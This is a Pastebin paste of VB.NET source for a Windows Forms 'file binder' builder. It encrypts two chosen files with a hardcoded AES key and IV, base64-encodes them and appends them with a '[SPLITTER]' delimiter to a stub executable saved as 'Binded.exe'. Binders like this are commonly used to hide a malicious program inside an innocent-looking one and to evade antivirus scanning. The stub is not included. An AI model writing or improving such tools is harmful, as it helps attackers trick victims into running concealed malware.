Advertisement
Guest User

Untitled

a guest
Apr 25th, 2019
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.54 KB | None | 0 0
  1. Public Class Form1
  2.  
  3. Dim F, F2 As String
  4. Function Secure(ByVal data As Byte()) As Byte()
  5. Using sa As New System.Security.Cryptography.RijndaelManaged
  6. sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
  7. sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
  8. Return sa.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)
  9. End Using
  10. End Function
  11. Function UnSecure(ByVal data As Byte()) As Byte()
  12. Using sa As New System.Security.Cryptography.RijndaelManaged
  13. sa.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
  14. sa.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
  15. Return sa.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
  16. End Using
  17. End Function
  18.  
  19. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  20. TextBox1.Clear()
  21. Dim ofd As New OpenFileDialog
  22. With ofd
  23. .FileName = "*.*"
  24. .Title = "νŒŒμΌμ„ νƒ"
  25. .Filter = "All Files (*.*) |*.*"
  26. .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
  27. If .ShowDialog = Windows.Forms.DialogResult.OK Then
  28. F = .SafeFileName
  29. TextBox1.Text = .FileName
  30. End If
  31. End With
  32. End Sub
  33.  
  34. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  35.  
  36. TextBox2.Clear()
  37. Dim ofd As New OpenFileDialog
  38. With ofd
  39. .FileName = "*.*"
  40. .Title = "Choose a File..."
  41. .Filter = "All Files (*.*) |*.*"
  42. .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
  43. If .ShowDialog = Windows.Forms.DialogResult.OK Then
  44. F2 = .SafeFileName
  45. TextBox2.Text = .FileName
  46. End If
  47. End With
  48. End Sub
  49.  
  50. Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
  51. Try
  52. Dim sfd As New SaveFileDialog
  53. With sfd
  54. .FileName = "Binded.exe"
  55. .Title = "Choose An Output Folder..."
  56. .Filter = "Exe Files | *.exe"
  57. .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
  58. If .ShowDialog = Windows.Forms.DialogResult.OK Then
  59. Dim sp As String = "[SPLITTER]"
  60. Dim buffer As Byte() = My.Resources.Stub
  61. My.Computer.FileSystem.WriteAllBytes(.FileName, buffer, False)
  62. Dim File1 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
  63. Dim File2 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
  64. System.IO.File.AppendAllText(.FileName, sp & Convert.ToBase64String(File1) & sp & F & sp & Convert.ToBase64String(File2) & sp & F2)
  65. MsgBox("SuccessFully Binded!", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Success")
  66. TextBox1.Clear()
  67. TextBox2.Clear()
  68. End If
  69. End With
  70. Catch ex As Exception
  71. MsgBox("Error(s) occured" & ex.Message, MsgBoxStyle.Critical, "Error")
  72.  
  73.  
  74. End Try
  75.  
  76. End Sub
  77.  
  78. Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
  79.  
  80. End Sub
  81. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement